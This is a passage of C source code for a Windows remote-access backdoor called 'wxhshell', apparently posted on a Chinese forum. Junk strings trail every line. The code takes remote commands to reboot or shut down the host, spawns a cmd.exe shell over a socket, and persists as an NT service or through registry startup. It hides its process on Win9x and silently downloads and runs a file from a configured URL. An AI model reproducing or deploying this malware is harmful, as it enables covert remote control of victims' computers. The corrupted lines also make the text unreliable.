  &L,zh{Mp  
  // 帮助 goi5I(yn^  
  case '?': { r'/7kF- 5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b$P=rIB  
    break; 8>Hnv]p  
  } d,|W  
  // 安装 '&5A*X]d  
  case 'i': { qby!  
    if(Install()) N(v<*jn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]2zK?|s  
    else dA[Z\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "E;]?s9x  
    break; j_E$C.XU{g  
    } T<\Q4Coth  
  // 卸载 2G8f4vsC[  
  case 'r': { !Y3w]_x[:  
    if(Uninstall()) J7BfH,o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~S)o ('  
    else DCv~^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3&kHAXzM  
    break; y; Up@.IG  
    } 6elmLDMni\  
  // 显示 wxhshell 所在路径 *5iNw_&  
  case 'p': { B98&JoS  
    char svExeFile[MAX_PATH]; ]<mXf~zg  
    strcpy(svExeFile,"\n\r"); dm1W C:b  
      strcat(svExeFile,ExeFile); _e AZ_@  
        send(wsh,svExeFile,strlen(svExeFile),0); ~xqRCf{8  
    break; le?hCPHkp  
    } q9w6 6R  
  // 重启 k#T onT  
  case 'b': { S,LW/:,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,~t{Q*#_h  
    if(Boot(REBOOT)) xtyzy@)QL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( Kh<qAP_n  
    else { 4"fiEt,t<x  
    closesocket(wsh); D}l^ow  
    ExitThread(0); 89:Ys=  
    } ;2 oR?COW  
    break; NaC^q*>9  
    } Wa%Zt*7  
  // 关机 m/sAYF"  
  case 'd': { <4,>`#NEo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l|[cA}HtB  
    if(Boot(SHUTDOWN))  L2[|g~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w? A&XB+  
    else { yzt6   
    closesocket(wsh); |D u.aN  
    ExitThread(0); Q>u$tLX&  
    } 4(MZ*6G]?  
    break; , KF>PoySA  
    } 2-i>ymoOS  
  // 获取shell b(dIl)Y4 :  
  case 's': { uYAPGs#k  
    CmdShell(wsh); O:3pp8  
    closesocket(wsh); a?CV;9   
    ExitThread(0); 2xH9O{  
    break; Ob2H7 !  
  } Af5O;v\  
  // 退出 pPm[<^\#S  
  case 'x': { E_]L8UC;m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /w{DyHT  
    CloseIt(wsh); #r; ' AG  
    break; .w^M?}dx  
    } /u{ 9UR[g  
  // 离开  L3P_  
  case 'q': { A.m#wY8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .4A4\-Cqe  
    closesocket(wsh); Ub%+8 M  
    WSACleanup(); C)/uX5  
    exit(1); Wq8Uq}~_g  
    break; 7f_4qb8  
        } 8'?V5.6?|~  
  } W'6~`t  
  } e!b?SmNN  
/|Za[  
  // 提示信息 EZ*FGt6(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A@#9X'C$^  
} O.CRF-` t  
  } "| V{@)!t  
j8 nG Gx  
  return; )nyud$9w'  
} $A)i}M;uK  
%>}6>nT#  
// shell模块句柄 $}r*WZ  
int CmdShell(SOCKET sock) M%+l21&  
{ ~hPp)- A  
STARTUPINFO si; 9*2A}dH  
ZeroMemory(&si,sizeof(si)); .Y[sQO~%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0l!%}E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4]RGLN  
PROCESS_INFORMATION ProcessInfo; iPX6 r4-  
char cmdline[]="cmd"; JzMPLmgG/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Udv5Y  
  return 0; LJDX6]4n  
} QN:gSS{30  
Ks:~Z9r}  
// 自身启动模式 /rN%y  
int StartFromService(void) 1iEZ9J?  
{ A"FlH:Pn  
typedef struct VYI%U'9Q  
{ 1$e z}k,  
  DWORD ExitStatus; 48Y5ppcS  
  DWORD PebBaseAddress; DbFTNoVR  
  DWORD AffinityMask; Z=n# XJO15  
  DWORD BasePriority; 8=OK8UaU  
  ULONG UniqueProcessId; &Al9%W  
  ULONG InheritedFromUniqueProcessId; pUki!TA  
}   PROCESS_BASIC_INFORMATION; JS% &ipm  
/Za'L#=R  
PROCNTQSIP NtQueryInformationProcess; ww82)m8  
t=J\zyX!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2KMLpO&De  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /`#sp  
=XsdR?C  
  HANDLE             hProcess; m{Jo'*%8f  
  PROCESS_BASIC_INFORMATION pbi; nw[DI %Tp  
RX:wt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); od!"?F  
  if(NULL == hInst ) return 0; 9B")/Hz_  
qN}kDT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~>zml1aJ6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \]=qGMwFs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ork/:y9*y  
G=a.Wff  
  if (!NtQueryInformationProcess) return 0; U.~, Bwb  
o-2FGM`*VB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z.n`0`^  
  if(!hProcess) return 0; Oi+(`  
gE%{#&*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @@K@;Jox  
`X]TIMc:Ad  
  CloseHandle(hProcess); aG;6^$H~  
) \Mwv&k1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K[Bq,nPo  
if(hProcess==NULL) return 0; pZp|F  
X~t]qT  
HMODULE hMod; XH&Fn+  
char procName[255]; 3>qUYxG8  
unsigned long cbNeeded; cGiS[-g  
B4 5B`Ay  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y\luz`v  
&n+3^JNl  
  CloseHandle(hProcess); n-[J+DdB  
 uZ][#[u  
if(strstr(procName,"services")) return 1; // 以服务启动 }yCJ#}  
=SPuOy8  
  return 0; // 注册表启动 b{qeu$G R  
} g=.~_&O  
'gd3 w~  
// 主模块 %:oyHlz%  
int StartWxhshell(LPSTR lpCmdLine) D"_~Njf  
{ I9P< !#q>  
  SOCKET wsl; 6r"uDV #0  
BOOL val=TRUE; G4->7n N  
  int port=0; {?m;DY v  
  struct sockaddr_in door; l^4[;%*f#l  
2T/C!^iJ)  
  if(wscfg.ws_autoins) Install(); x \B!0"~  
z)"7qqA  
port=atoi(lpCmdLine); y]Q G;  
hWpn~q  
if(port<=0) port=wscfg.ws_port; '(A)^K>+  
&\8.y2=9p  
  WSADATA data; *m:h0[[J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nB2AmS  
c\~H_ ~F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bA\TuB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q/r0p>  
  door.sin_family = AF_INET; B$qmXA)ze  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S@]7   
  door.sin_port = htons(port); ~8~B VwZ_  
JmdXh/X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rhY>aj  
closesocket(wsl); d&'z0]mOe  
return 1; ?PORPv#  
} %:^,7 .H@  
<Ur(< WTV  
  if(listen(wsl,2) == INVALID_SOCKET) { E< nXkqD  
closesocket(wsl); v<iMlOEt  
return 1; <e"O`*ZJ  
} yO.3~H)c  
  Wxhshell(wsl); K1#Y{k5D}  
  WSACleanup(); |5)~WoV/G  
Srj%6rgsB  
return 0; 86O"w*9  
x bF*4;^SI  
} ;;'b;,/  
Ry*NRP;  
// 以NT服务方式启动 L;30& a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |qbCmsY5/  
{ 7onMKMktM%  
DWORD   status = 0; Xm`s=5%  
  DWORD   specificError = 0xfffffff; -a(f-  
Jhu<^pjs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _l]`Og@Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pj>b6^TI6C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Ht$LqG  
  serviceStatus.dwWin32ExitCode     = 0; dgPJte%i  
  serviceStatus.dwServiceSpecificExitCode = 0; ]4SnOSV?S  
  serviceStatus.dwCheckPoint       = 0; e'aKI]>a  
  serviceStatus.dwWaitHint       = 0; :0>wm@qCQ  
4S|! iOY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ge$cV}  
  if (hServiceStatusHandle==0) return; ;AKtb S;H  
|8}f  
status = GetLastError(); ,}F2l|x_  
  if (status!=NO_ERROR) *>%34m93  
{ Gxfw!aF~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c.jq?Q k  
    serviceStatus.dwCheckPoint       = 0; Y'"2s~_ Z  
    serviceStatus.dwWaitHint       = 0; s`F v!  
    serviceStatus.dwWin32ExitCode     = status; cAC2Xq  
    serviceStatus.dwServiceSpecificExitCode = specificError; eU_|.2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R-]QU`c  
    return; a%f{mP$m  
  } Nk=F.fp|/  
quk~z};R>\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #EtS9D'd+  
  serviceStatus.dwCheckPoint       = 0; Mp; t?C4  
  serviceStatus.dwWaitHint       = 0; ], Wh]q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 84tuN  
} XPXC7_fV  
{"8\~r&b  
// 处理NT服务事件,比如:启动、停止 FW&P`Iu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) */xI#G,O+  
{ uHBX}WH  
switch(fdwControl) t+Mr1e  
{ %Bmi3 =Rr  
case SERVICE_CONTROL_STOP: :xZ/c\  
  serviceStatus.dwWin32ExitCode = 0; ,S;?3?a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I=&5mg=m  
  serviceStatus.dwCheckPoint   = 0; >bxT_qEm  
  serviceStatus.dwWaitHint     = 0; D.)$\Caq  
  { k6rX/ocu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mH*42XC*  
  } b,5H|$nLu  
  return; #{7=  
case SERVICE_CONTROL_PAUSE: vIG8m@-!&;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n"Ec%n  
  break; l)D18  
case SERVICE_CONTROL_CONTINUE: Y{Kpopst  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; < 'op  
  break; ;&e5.K+.Z  
case SERVICE_CONTROL_INTERROGATE: VuFM jY  
  break; LfyycC2E  
}; !;lA+O-t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lJoMJS;S]}  
} &J^@TgqL^  
|DfYH~@(  
// 标准应用程序主函数 K @"m0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |tz1'YOB  
{ },0fPkVsU  
5R4h9D5  
// 获取操作系统版本 x(3E#7>1  
OsIsNt=GetOsVer(); /MTS>[E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =Y|TShKk  
U6FM`w<  
  // 从命令行安装 l3n* b6  
  if(strpbrk(lpCmdLine,"iI")) Install(); l0Jpf9Aue  
NFY,$  
  // 下载执行文件 (Z.K3  
if(wscfg.ws_downexe) { K]zBPfx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FB@c +*1  
  WinExec(wscfg.ws_filenam,SW_HIDE); NAV}q<@v  
} J/w?Fa<  
a}#[mw@m=  
if(!OsIsNt) {  <VB  
// 如果时win9x,隐藏进程并且设置为注册表启动 'mpY2|]\$  
HideProc(); al=Dy60|z  
StartWxhshell(lpCmdLine); h0 Acpd2  
} O(,Ezy x  
else ru3nnF_I  
  if(StartFromService()) s['F?GWg  
  // 以服务方式启动 JO5~Vj_"  
  StartServiceCtrlDispatcher(DispatchTable); ^C>i(j&  
else Lcplc"C  
  // 普通方式启动 9C[3w[G~C  
  StartWxhshell(lpCmdLine); Zp@p9][C  
Rb<aCX  
return 0; 3s\2 9gq  
}
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只看该作者 1 发表于: 2006-10-10
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